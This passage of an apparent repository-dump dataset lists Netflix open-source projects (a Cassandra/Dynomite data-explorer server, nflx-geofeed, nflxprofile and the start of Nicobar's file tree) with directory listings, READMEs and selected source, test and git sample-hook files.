});\n});\n\ndescribe('/healthcheck route', () => {\n let app: Application;\n\n beforeAll(async () => {\n app = await getApp();\n });\n\n it('healthcheck without credentials should return OK', async () => {\n const result = await request(app).get('/healthcheck');\n expect(result.text).toEqual('OK!');\n expect(result.status).toEqual(200);\n });\n});\n", "src\\server\\services\\datastores\\cassandra\\index.ts": "import { getConfig } from '@/config/configuration';\nimport setupLogger from '@/config/logger';\nimport { IDatastoreService } from '@/services/datastores/base/datastore';\nimport CassandraExplorer from '@/services/datastores/cassandra/lib/CassandraExplorer';\nimport { ICassandraConnectParams } from '@/services/datastores/cassandra/typings/cassandra';\nimport { Client, types } from 'cassandra-driver';\nimport BaseDatastoreService from '../base/BaseDatastoreService';\nimport { fetchSize } from './lib/cassandra-config';\nimport { ICassandraClientOptionsProvider } from './lib/providers/client/ICassandraClientOptionsProvider';\n\nconst { CASSANDRA_PORT, CLUSTER_NAME_PATTERN_CASSANDRA } = getConfig();\n\nconst logger = setupLogger(module);\n\nexport default class CassandraDatastoreService extends BaseDatastoreService\n implements IDatastoreService<CassandraExplorer> {\n constructor(readonly clientOptionsProvider: ICassandraClientOptionsProvider) {\n super();\n }\n\n public getDatastoreType(): string {\n return 'cassandra';\n }\n\n public connect(params: ICassandraConnectParams): Promise<CassandraExplorer> {\n const { clusterDescription, instances, region } = params;\n if (!instances) {\n return Promise.reject('instances must be provided');\n }\n\n return new Promise(async (resolve, reject) => {\n const contactPoints = new Array<string>();\n const addressMap = {} as {\n [ip: string]: string;\n };\n instances.forEach((instance) => {\n if (instance.status === 'UP') {\n contactPoints.push(instance.ip);\n }\n addressMap[instance.ip] = instance.hostname;\n });\n logger.info(`setting up new connection to ${params.clusterDescription}`);\n\n const { clientOptionsProvider: provider } = this;\n const sslOptions = await provider.getSslOptions(params);\n\n const client = new Client({\n contactPoints,\n localDataCenter: provider.getLocalDatacenter(region),\n protocolOptions: {\n port: CASSANDRA_PORT,\n },\n authProvider: provider.getAuthProvider(undefined, undefined),\n sslOptions,\n policies: provider.getPolicies(region),\n queryOptions: {\n fetchSize: fetchSize || 100,\n prepare: true,\n captureStackTrace: true,\n consistency: types.consistencies.localOne,\n },\n });\n client.on('log', (level, _module, message) => {\n if (level === 'verbose') {\n return;\n }\n logger.debug(`-- [${level}] ${message}`);\n });\n client.on('hostAdd', (host) => {\n logger.debug(\n `cluster ${clusterDescription} added host: ${JSON.stringify(host)}`,\n );\n });\n client.on('hostRemove', (host) => {\n logger.debug(\n `cluster ${clusterDescription} removed host: ${JSON.stringify(host)}`,\n );\n });\n client.on('hostUp', (host) => {\n logger.debug(\n `cluster ${clusterDescription} detected host came up: ${JSON.stringify(\n host,\n )}`,\n );\n });\n client.on('hostDown', (host) => {\n logger.debug(\n `cluster ${clusterDescription} detected host went down: ${JSON.stringify(\n host,\n )}`,\n );\n });\n\n try {\n await client.connect();\n } catch (err) {\n return reject(err);\n }\n\n resolve(new CassandraExplorer(client));\n });\n }\n\n public discoveryCallback(appName: string): boolean {\n return new RegExp(CLUSTER_NAME_PATTERN_CASSANDRA, 'i').test(appName);\n }\n}\n", "src\\server\\services\\datastores\\cassandra\\lib\\errors\\index.ts": "export * from '@/services/datastores/cassandra/lib/errors/CassandraColumnNameNotFound';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraIncorrectColumnType';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraKeyspaceAlreadyExists';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraKeyspaceNotAccessible';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraKeyspaceNotFound';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraNoFieldsToUpdate';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraPrimaryKeyMissing';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraQueryError';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraStatementNotAllowed';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraStatementUnparseableError';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraTableCreationError';\nexport * from '@/services/datastores/cassandra/lib/errors/CassandraTableNotFound';\n", "src\\server\\services\\datastores\\cassandra\\lib\\modules\\query-builder\\index.ts": "export * from './alias';\nexport * from './insert';\nexport * from './select';\n", "src\\server\\services\\datastores\\cassandra\\lib\\modules\\schema-builder\\compaction\\index.ts": "export * from '@/services/datastores/cassandra/lib/modules/schema-builder/compaction/LeveledCompactionStrategyOptions';\nexport * from '@/services/datastores/cassandra/lib/modules/schema-builder/compaction/SizeTieredCompactionStrategyOptions';\nexport * from '@/services/datastores/cassandra/lib/modules/schema-builder/compaction/TimeWindowCompactionStrategyOptions';\n", "src\\server\\services\\datastores\\dynomite\\index.ts": "import { getConfig } from '@/config/configuration';\nimport setupLogger from '@/config/logger';\nimport { IDatastoreService } from '@/services/datastores/base/datastore';\nimport DynomiteExplorer from '@/services/datastores/dynomite/lib/DynomiteExplorer';\nimport { IClusterDefinition } from '@/typings/typings';\nimport BaseDatastoreService from '../base/BaseDatastoreService';\n\nconst { CLUSTER_NAME_PATTERN_DYNOMITE } = getConfig();\n\nconst logger = setupLogger(module);\n\nexport default class DynomiteDatastoreService extends BaseDatastoreService\n implements IDatastoreService<DynomiteExplorer> {\n public getDatastoreType(): string {\n return 'dynomite';\n }\n\n public connect(cluster: IClusterDefinition): Promise<DynomiteExplorer> {\n logger.info(`creating new DynomiteExplorer for cluster: ${cluster.name}`);\n return Promise.resolve(new DynomiteExplorer(cluster));\n }\n\n public discoveryCallback(appName: string): boolean {\n return new RegExp(CLUSTER_NAME_PATTERN_DYNOMITE, 'i').test(appName);\n }\n}\n", "src\\server\\services\\datastores\\dynomite\\lib\\errors\\index.ts": "export * from '@/services/datastores/dynomite/lib/errors/FieldOperationsNotSupportedForTypeError';\nexport * from '@/services/datastores/dynomite/lib/errors/KeyExistsError';\nexport * from '@/services/datastores/dynomite/lib/errors/KeyNotFoundError';\nexport * from '@/services/datastores/dynomite/lib/errors/KeyTooLargeError';\n", "src\\server\\services\\discovery\\index.ts": "export { default as DiscoveryService } from '@/services/discovery/DiscoveryService';\n", "src\\server\\utils\\app-utils.ts": "import { getConfig } from '@/config/configuration';\nimport {\n APP_CLUSTER_NAME,\n APP_ENV,\n APP_NAME,\n APP_REGION,\n} from '@/config/constants';\nimport ClusterAclsNotLoadedError from '@/model/errors/ClusterAclsNotLoadedError';\nimport DatastoreNotAvailableError from '@/model/errors/DatastoreNotAvailableError';\nimport NoClustersAvailableError from '@/model/errors/NoClustersAvailableErrors';\nimport { getStore } from '@/model/store';\nimport { DatastoreType } from '@/typings/enums';\nimport { IClusterDefinition } from '@/typings/typings';\nimport { Application } from 'express';\n\nconst { ENVIRONMENTS, REGIONS } = getConfig();\n\n/**\n * Gets the name of this application.\n * @param app The current Express app.\n * @returns Returns the current app name;\n */\nexport function getAppName(app: Application): string {\n return app.get(APP_NAME);\n}\n\n/**\n * Fetches the list of available clusters.\n * @param datastoreType The type of datastore to fetch clusters for.\n * @returns Returns an Array of cluster objects.\n */\nexport function getAvailableClusters(\n datastoreType: string,\n): IClusterDefinition[] {\n const { discovery } = getStore();\n const { clusters } = discovery;\n if (!clusters || Object.keys(clusters).length === 0) {\n throw new NoClustersAvailableError(datastoreType);\n }\n const datastoreClusters = clusters[datastoreType];\n if (!datastoreClusters) {\n throw new DatastoreNotAvailableError(datastoreType);\n }\n return datastoreClusters;\n}\n\nexport function getCluster(\n app: Application,\n datastoreType: DatastoreType,\n clusterName: string,\n): IClusterDefinition {\n const clusters = getAvailableClusters(datastoreType);\n const localEnv = getEnv(app);\n const localRegion = getRegion(app);\n // TODO convert to map, avoid linear search\n return clusters.find(\n (cluster) =>\n cluster.name.toLowerCase() === clusterName.toLowerCase() &&\n cluster.env === localEnv &&\n cluster.region === localRegion,\n ) as IClusterDefinition;\n}\n\n/**\n * Gets the current environment (e.g. test or prod);\n * @param app The current Express app.\n * @returns Returns the current environment.\n */\nexport function getEnv(app: Application): string {\n return app.get(APP_ENV);\n}\n\n/**\n * Returns the name of this cluster. Note, the cluster name will include the stack name as well\n * (e.g. datatexplorer-stg).\n * @param app The current Express app.\n * @returns Returns the current cluster name.\n */\nexport function getAppStack(app: Application): string {\n return app.get(APP_CLUSTER_NAME);\n}\n\n/**\n * Gets the current AWS region (e.g. us-west-1);\n * @param app The current Express app.\n * @returns Returns the current AWS region.\n */\nexport function getRegion(app: Application): string {\n return app.get(APP_REGION);\n}\n\n/**\n * Fetches all defined regions. These are all the well-known regions which is likely a super-set\n * of all available regions.\n * @returns Returns an array of all the possible regions (valid or not).\n * @see getAvailableRegions\n */\nexport function getAllKnownRegions(): string[] {\n return REGIONS;\n}\n\n/**\n * Fetches all the known environments. These are the well-known environments which is likely\n * a superset of all available environments.\n */\nexport function getAllKnownEnvironments(): string[] {\n return ENVIRONMENTS;\n}\n\nexport function isClusterShared(clusterName: string): boolean {\n const { accessControl } = getStore();\n const clusterAclMap = accessControl.clusterAclMap;\n if (!clusterAclMap) {\n throw new ClusterAclsNotLoadedError(clusterName);\n }\n const clusterACLDef = clusterAclMap[clusterName.toLowerCase()];\n if (!clusterACLDef) {\n return false;\n }\n return clusterACLDef.isShared;\n}\n\n/**\n * Helper method for checking if a region and environment is accessible by the current app.\n * For instance, this app might be running in us-east.\n * @param app The current Express app.\n * @param region The region to check.\n * @param env The environment to check.\n * @returns Returns true if the given region and env is accessible.\n */\nexport function isRegionAccessible(\n app: Application,\n region: string,\n env: string,\n): boolean {\n return region === getRegion(app) && env === getEnv(app);\n}\n"} | null |
nflx-geofeed | {"type": "directory", "name": "nflx-geofeed", "children": [{"type": "file", "name": "geofeed.csv"}, {"type": "file", "name": "README.md"}]} | # Netflix Geofeed <br />
This feed is encoded in RFC 8805 format <br />
This data feed provides approximate geo locations for a subset of Netflix IP space and the data included in this feed may be used only for improving the accuracy of Geo:IP lookups
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 0bd8658782ac1ad5df32450c89e7d8367ac1a1ce Hamza Amin <[email protected]> 1728221162 +0500\tclone: from https://github.com/Netflix/nflx-geofeed.git\n", ".git\\refs\\heads\\main": "0bd8658782ac1ad5df32450c89e7d8367ac1a1ce\n", ".github\\scripts\\requirements.txt": "ipaddr >= 2.2.0\n"} | null |
nflxprofile | {"type": "directory", "name": "nflxprofile", "children": [{"type": "file", "name": ".mailmap"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "nflxprofile.proto"}, {"type": "directory", "name": "python", "children": [{"type": "directory", "name": "nflxprofile", "children": [{"type": "file", "name": "cli.py"}, {"type": "directory", "name": "convert", "children": [{"type": "file", "name": "v8_cpuprofile.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "flamegraph.py"}, {"type": "file", "name": "nflxprofile_pb2.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "fixtures", "children": [{"type": "file", "name": "nodejs1-package.json"}, {"type": "file", "name": "nodejs1.json"}, {"type": "file", "name": "nodejs1.nflxprofile"}]}, {"type": "directory", "name": "test_integ", "children": [{"type": "file", "name": "test_nodejs_package_processor.py"}, {"type": "file", "name": "test_nodejs_processor.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "test_unit", "children": [{"type": "file", "name": "test_java_stack_processor.py"}, {"type": "file", "name": "test_node_stack_processor.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "tox.ini"}]}, {"type": "file", "name": "README.md"}]} | # nflxprofile
Python package exposing the `nflxprofile` format as a Python class.
## Install
```
pip install nflxprofile
```
## Usage
```python
from nflxprofile import nflxprofile_pb2
profile = nflxprofile_pb2.Profile()
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "python\\setup.py": "import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"nflxprofile\",\n version=\"1.6.7\",\n author=\"Mary Marchini\",\n author_email=\"[email protected]\",\n description=\"Protobuf specification of the nflxprofile format\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Netflix/nflxprofile\",\n packages=setuptools.find_packages(),\n install_requires=['protobuf>=4.21.1'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n entry_points={\n 'console_scripts': [\n 'nflxprofile = nflxprofile.cli:main'\n ]\n }\n)\n", "python\\test\\fixtures\\nodejs1-package.json": "{\"name\": \"root\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(native)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(kernel)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(native)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(kernel)\", \"libtype\": \"\", \"value\": 1, \"children\": []}, {\"name\": \"(node api)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(app code)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(node api)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(native)\", \"libtype\": \"\", \"value\": 0, \"children\": [{\"name\": \"(app code)\", \"libtype\": \"\", \"value\": 5, \"children\": []}]}]}]}]}]}]}]}]}\n"} | null |
Nicobar | {"type": "directory", "name": "Nicobar", "children": [{"type": "file", "name": ".netflixoss"}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}, {"type": "file", "name": "HEADER"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "nicobar-cassandra", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "BasicCassandraRepositoryConfig.java"}, {"type": "file", "name": "CassandraArchiveRepository.java"}, {"type": "file", "name": "CassandraArchiveRepositoryConfig.java"}, {"type": "file", "name": "CassandraGateway.java"}, {"type": "file", "name": "CassandraGatewayImpl.java"}, {"type": "directory", "name": "internal", "children": [{"type": "file", "name": "AbstractCassandraHystrixCommand.java"}, {"type": "file", "name": "HystrixCassandraDeleteColumns.java"}, {"type": "file", "name": "HystrixCassandraDeleteRow.java"}, {"type": "file", "name": "HystrixCassandraGetRow.java"}, {"type": "file", "name": "HystrixCassandraGetRowsByKeys.java"}, {"type": "file", "name": "HystrixCassandraGetRowsByQuery.java"}, {"type": "file", "name": "HystrixCassandraPut.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "CassandraArchiveRepositoryTest.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "testmodules", "children": []}]}]}]}]}, {"type": "directory", "name": "nicobar-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "nicobar-test-classes", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "classpath-dependent-module", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "file", "name": "DependentClass.java"}]}]}]}]}, {"type": "directory", "name": "dependent-module", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "Dependent.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "impl-module", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "impl", "children": [{"type": "file", "name": "HelperImpl.java"}, {"type": "file", "name": "ManagerImpl.java"}]}]}]}]}]}, {"type": "directory", "name": "interfaces-module", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "interfaces", "children": [{"type": "file", "name": "Helper.java"}, {"type": "file", "name": "Manager.java"}]}]}]}]}]}, {"type": "directory", "name": "service-module", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "Service.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "settings.gradle"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "archive", "children": [{"type": "file", "name": "GsonScriptModuleSpecSerializer.java"}, {"type": "file", "name": "JarScriptArchive.java"}, {"type": "file", "name": "ModuleId.java"}, {"type": "file", "name": "PathScriptArchive.java"}, {"type": "file", "name": "ScriptArchive.java"}, {"type": "file", "name": "ScriptModuleSpec.java"}, {"type": "file", "name": "ScriptModuleSpecSerializer.java"}, {"type": "file", "name": "SingleFileScriptArchive.java"}]}, {"type": "directory", "name": "compile", "children": [{"type": "file", "name": "ScriptArchiveCompiler.java"}, {"type": "file", "name": "ScriptCompilationException.java"}]}, {"type": "directory", "name": "execution", "children": [{"type": "file", "name": "HystrixScriptModuleExecutor.java"}, {"type": "file", "name": "ScriptModuleExecutable.java"}, {"type": "file", "name": "ScriptModuleExecutionCommand.java"}]}, {"type": "directory", "name": "internal", "children": [{"type": "directory", "name": "compile", "children": [{"type": "file", "name": "BytecodeLoader.java"}, {"type": "file", "name": "NoOpCompiler.java"}]}]}, {"type": "directory", "name": "module", "children": [{"type": "file", "name": "ArchiveRejectedReason.java"}, {"type": "file", "name": "BaseScriptModuleListener.java"}, {"type": "file", "name": "GraphUtils.java"}, {"type": "directory", "name": "jboss", "children": [{"type": "file", "name": "JBossModuleClassLoader.java"}, {"type": "file", "name": "JBossModuleLoader.java"}, {"type": "file", "name": "JBossModuleUtils.java"}, {"type": "file", "name": "JBossScriptModule.java"}]}, {"type": "file", "name": "ScriptModule.java"}, {"type": "file", "name": "ScriptModuleListener.java"}, {"type": "file", "name": "ScriptModuleLoader.java"}, {"type": "file", "name": "ScriptModuleUtils.java"}]}, {"type": "directory", "name": "persistence", "children": [{"type": "file", "name": "ArchiveRepository.java"}, {"type": "file", "name": "ArchiveRepositoryPoller.java"}, {"type": "file", "name": "ArchiveSummary.java"}, {"type": "file", "name": "JarArchiveRepository.java"}, {"type": "file", "name": "PathArchiveRepository.java"}, {"type": "file", "name": "RepositorySummary.java"}, {"type": "file", "name": "RepositoryView.java"}]}, {"type": "directory", "name": "plugin", "children": [{"type": "file", "name": "BytecodeLoadingPlugin.java"}, {"type": "file", "name": "ScriptCompilerPlugin.java"}, {"type": "file", "name": "ScriptCompilerPluginSpec.java"}, {"type": "file", "name": "TestCompilerPlugin.java"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "ClassPathUtils.java"}, {"type": "file", "name": "__JDKPaths.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "archive", "children": [{"type": "file", "name": "JarScriptArchiveTest.java"}, {"type": "file", "name": "ModuleIdTest.java"}, {"type": "file", "name": "PathScriptArchiveTest.java"}, {"type": "file", "name": "ScriptModuleSpecSerializerTest.java"}, {"type": "file", "name": "SingleFileScriptArchiveTest.java"}]}, {"type": "directory", "name": "compile", "children": [{"type": "file", "name": "BytecodeLoaderTest.java"}]}, {"type": "directory", "name": "module", "children": [{"type": "directory", "name": "jboss", "children": [{"type": "file", "name": "JBossModuleUtilsTest.java"}]}, {"type": "file", "name": "ResolutionOrderTests.java"}, {"type": "file", "name": "ScriptModuleLoaderDependenciesTest.java"}, {"type": "file", "name": "ScriptModuleLoaderTest.java"}]}, {"type": "directory", "name": "persistence", "children": [{"type": "file", "name": "ArchiveRepositoryPollerTest.java"}, {"type": "file", "name": "ArchiveRepositoryTest.java"}, {"type": "file", "name": "JarArchiveRepositoryTest.java"}, {"type": "file", "name": "JarRepositoryPollerTest.java"}, {"type": "file", "name": "PathArchiveRepositoryTest.java"}, {"type": "file", "name": "PathRepositoryPollerTest.java"}]}, {"type": "directory", "name": "plugin", "children": [{"type": "file", "name": "BytecodeLoadingPluginTest.java"}, {"type": "file", "name": "ScriptCompilerPluginSpecTest.java"}]}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "CoreTestResourceUtil.java"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "ClassPathUtilsTest.java"}, {"type": "file", "name": "ScriptModuleUtilsTest.java"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "Service.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "classpathdir", "children": [{"type": "directory", "name": "classes", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "baz", "children": [{"type": "directory", "name": "internal", "children": [{"type": "file", "name": "Internal.txt"}]}]}, {"type": "directory", "name": "foo", "children": [{"type": "directory", "name": "bar", "children": [{"type": "file", "name": "Bar.txt"}]}, {"type": "file", "name": "Foo.txt"}]}, {"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "hello", "children": [{"type": "directory", "name": "internal", "children": [{"type": "file", "name": "Internal.txt"}]}, {"type": "file", "name": "Main.txt"}]}]}]}]}]}, {"type": "directory", "name": "libs", "children": []}]}, {"type": "directory", "name": "jars", "children": []}, {"type": "directory", "name": "paths", "children": [{"type": "directory", "name": "test-modulespec", "children": [{"type": "file", "name": "moduleSpec.json"}, {"type": "file", "name": "root.txt"}]}, {"type": "directory", "name": "test-text", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "file", "name": "MANIFEST.MF"}]}, {"type": "file", "name": "root.txt"}, {"type": "directory", "name": "sub1", "children": [{"type": "file", "name": "sub1.txt"}]}, {"type": "directory", "name": "sub2", "children": [{"type": "file", "name": "sub2.txt"}]}]}]}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "script1.txt"}, {"type": "file", "name": "script2.txt"}, {"type": "file", "name": "script3.txt"}]}, {"type": "directory", "name": "testmodules", "children": []}]}]}]}]}, {"type": "directory", "name": "nicobar-example", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "example", "children": [{"type": "directory", "name": "groovy2", "children": [{"type": "file", "name": "ExampleResourceLocator.java"}, {"type": "file", "name": "GroovyModuleLoaderExample.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "helloworld", "children": [{"type": "file", "name": "HelloWorld.groovy"}, {"type": "file", "name": "moduleSpec.json"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "file", "name": "ExampleTest.java"}]}]}]}]}, {"type": "directory", "name": "nicobar-groovy2", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "groovy2", "children": [{"type": "directory", "name": "internal", "children": [{"type": "directory", "name": "compile", "children": [{"type": "file", "name": "Groovy2Compiler.java"}, {"type": "file", "name": "Groovy2CompilerHelper.java"}]}]}, {"type": "directory", "name": "plugin", "children": [{"type": "file", "name": "Groovy2CompilerPlugin.java"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "Groovy2PluginUtils.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "file", "name": "MANIFEST.MF"}, {"type": "file", "name": "nicobar-groovy2-release-info.properties"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "groovy2", "children": [{"type": "directory", "name": "compile", "children": [{"type": "file", "name": "Groovy2CompilerHelperTest.java"}, {"type": "file", "name": "Groovy2CompilerTest.java"}]}, {"type": "directory", "name": "plugin", "children": [{"type": "file", "name": "Groovy2PluginTest.java"}, {"type": "file", "name": "ScriptModuleUtilsTest.java"}]}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "GroovyTestResourceUtil.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "testmodule", "children": [{"type": "directory", "name": "customizers", "children": [{"type": "file", "name": "TestCompilationCustomizer.java"}]}]}, {"type": "directory", "name": "testmodules", "children": [{"type": "directory", "name": "dependsonA", "children": [{"type": "file", "name": "DependsOnA.groovy"}]}, {"type": "directory", "name": "hellopackage", "children": [{"type": "directory", "name": "package1", "children": [{"type": "file", "name": "HelloPackage.groovy"}]}]}, {"type": "directory", "name": "helloworld", "children": [{"type": "file", "name": "HelloWorld.groovy"}]}, {"type": "directory", "name": "implementsinterface", "children": [{"type": "file", "name": "MyCallable.groovy"}]}, {"type": "directory", "name": "internaldependencies", "children": [{"type": "file", "name": "InternalDependencyA.groovy"}, {"type": "file", "name": "InternalDependencyB.groovy"}, {"type": "file", "name": "InternalDependencyD.groovy"}, {"type": "directory", "name": "subpackage", "children": [{"type": "file", "name": "InternalDependencyC.groovy"}]}]}, {"type": "directory", "name": "libA", "children": [{"type": "file", "name": "LibraryA.groovy"}]}, {"type": "directory", "name": "libAV2", "children": [{"type": "file", "name": "LibraryA.groovy"}]}, {"type": "directory", "name": "mixedmodule", "children": []}]}]}]}]}]}, {"type": "directory", "name": "nicobar-manager", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "manager", "children": [{"type": "directory", "name": "explorer", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "ArchiveRepositoriesResource.java"}, {"type": "file", "name": "ArchiveRepositoryResource.java"}, {"type": "file", "name": "ScriptManagerHomeResource.java"}]}, {"type": "file", "name": "ScriptManagerApp.java"}, {"type": "file", "name": "ScriptManagerBootstrap.java"}, {"type": "file", "name": "ScriptManagerExplorer.java"}]}, {"type": "directory", "name": 